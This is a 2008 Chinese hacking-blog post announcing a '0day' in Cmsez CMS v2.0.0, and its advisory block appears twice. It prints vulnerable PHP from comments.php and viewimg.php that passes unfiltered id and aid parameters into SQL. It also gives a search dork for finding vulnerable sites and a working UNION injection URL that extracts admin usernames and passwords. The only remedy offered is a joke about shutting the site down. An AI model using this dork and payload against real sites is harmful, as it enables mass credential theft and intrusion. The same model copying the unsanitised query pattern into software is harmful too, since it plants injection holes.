Cmsez(随易)全站系统 0day
作者: 天晴无名氏 日期: 2008-03-17 13:06
零客网络安全小组www.0kee.com”或者以超连接方式注明
---------------------------------灰常不淫荡的割JJ线-------------------------------
程序名称:Cmsez Web Content Manage System v2.0.0
漏洞发现:小帥(小帅)
公布时间:08-03-14
漏洞影响:严重
漏洞文件:comments.php viewimg.php
官方站点:http://www.cmsez.com/
漏洞代码:
---------------
<?
//comments
include "mainfile.php";
$art=new article();
//设定
$confirm='yes';//yes:需要管理员认证后才能显示,n直接显示
$member=new member();
$user_info=$member->member_auth();
$ulevel=$user_info[user_level];
########设置#############
$action = $_REQUEST[action];
$page="10";//
$need_user = "0";//
$id = $_REQUEST[id];// //对ID参数完全没过滤
$fdb = $PlusDB->prefix(forum);//评论的数据库
switch($action){
case "showNum":
$sql="select count(*) as num from ".$fdb." where post_aid='$id'";
$showNum=$PlusDB->getone($sql);
echo "
function comment(id)
{
var page = \"".PLUS_URL."/comments.php?id=\" + id ;
popwin = window.open(page,\"\",\"width=460,height=500,scrollbars,resizable\")
popwin.focus();
}
document.open();
document.write(\"<a href=\\\"javascript:comment('$id')\\\" title=\\\""._LANG_0930."\\\">"._LANG_0931." $showNum "._LANG_0932."</a>\");
document.close();";
break;
case "saveComment":
--------------
viewimg.php
--------------
<?
//image.php 显示附件的图片
include "mainfile.php";
$member=new member();
$confirm==false;//true 会员才能看,false 都能看
$user_info = $member->member_auth();
if($user_info[user_level]=="Guest" && $confirm==true){
include "modules/member/index.php";
}else{
$imgdb = $PlusDB->prefix(images);
$id=$_GET[id]; //米过滤,为什么他要直接获得啊!
$aid = $_GET[aid]; //难道赶着吃晚饭?
$sql="select id from $imgdb where aid=$aid order by id ";
---------------------
exp:
allinurl:"owered by CMSEZ" comments.php inurlowered by CMSEZ
http://localhost/comments.php?id=1111111111111/**/union/**/1,concat(name,0x3a,pass),2,3,4/**/from/**/admin/*
-------------------
修复方案:
最好把站关了...
---------------------------------灰常不淫荡的割JJ线-------------------------------
程序名称:Cmsez Web Content Manage System v2.0.0
漏洞发现:小帥(小帅)
公布时间:08-03-14
漏洞影响:严重
漏洞文件:comments.php viewimg.php
官方站点:http://www.cmsez.com/
漏洞代码:
---------------
<?
//comments
include "mainfile.php";
$art=new article();
//设定
$confirm='yes';//yes:需要管理员认证后才能显示,n直接显示
$member=new member();
$user_info=$member->member_auth();
$ulevel=$user_info[user_level];
########设置#############
$action = $_REQUEST[action];
$page="10";//
$need_user = "0";//
$id = $_REQUEST[id];// //对ID参数完全没过滤
$fdb = $PlusDB->prefix(forum);//评论的数据库
switch($action){
case "showNum":
$sql="select count(*) as num from ".$fdb." where post_aid='$id'";
$showNum=$PlusDB->getone($sql);
echo "
function comment(id)
{
var page = \"".PLUS_URL."/comments.php?id=\" + id ;
popwin = window.open(page,\"\",\"width=460,height=500,scrollbars,resizable\")
popwin.focus();
}
document.open();
document.write(\"<a href=\\\"javascript:comment('$id')\\\" title=\\\""._LANG_0930."\\\">"._LANG_0931." $showNum "._LANG_0932."</a>\");
document.close();";
break;
case "saveComment":
--------------
viewimg.php
--------------
<?
//image.php 显示附件的图片
include "mainfile.php";
$member=new member();
$confirm==false;//true 会员才能看,false 都能看
$user_info = $member->member_auth();
if($user_info[user_level]=="Guest" && $confirm==true){
include "modules/member/index.php";
}else{
$imgdb = $PlusDB->prefix(images);
$id=$_GET[id]; //米过滤,为什么他要直接获得啊!
$aid = $_GET[aid]; //难道赶着吃晚饭?
$sql="select id from $imgdb where aid=$aid order by id ";
---------------------
exp:
allinurl:"owered by CMSEZ" comments.php inurlowered by CMSEZ
http://localhost/comments.php?id=1111111111111/**/union/**/1,concat(name,0x3a,pass),2,3,4/**/from/**/admin/*
-------------------
修复方案:
最好把站关了...
评论: 0 |
引用: 0 |
阅读: 192
加入网摘
显示Tag关联文章
Windows 2003服务器提权0DAY (2008-10-12 13:26)
如何检测VMware系统 (2008-09-05 23:19)
Maxthon遨游浏览器多个高危0day (2008-06-20 00:45)
FLASH 0DAY Shellcode位置与生成器 (2008-06-02 12:13)
对最新flash-0day网马分析! (2008-05-31 01:47)
最近流行的14种第三方0day挂马防御措施 (2008-05-24 11:28)
穿山甲DeDeCMS_V5.1_0day工具利用 (2008-05-14 23:59)
Mssql Db_owner角色注入直接获得系统权限 (2008-05-12 00:13)
如何检测VMware系统 (2008-09-05 23:19)
Maxthon遨游浏览器多个高危0day (2008-06-20 00:45)
FLASH 0DAY Shellcode位置与生成器 (2008-06-02 12:13)
对最新flash-0day网马分析! (2008-05-31 01:47)
最近流行的14种第三方0day挂马防御措施 (2008-05-24 11:28)
穿山甲DeDeCMS_V5.1_0day工具利用 (2008-05-14 23:59)
Mssql Db_owner角色注入直接获得系统权限 (2008-05-12 00:13)
发表评论
订阅
上一篇
返回
下一篇







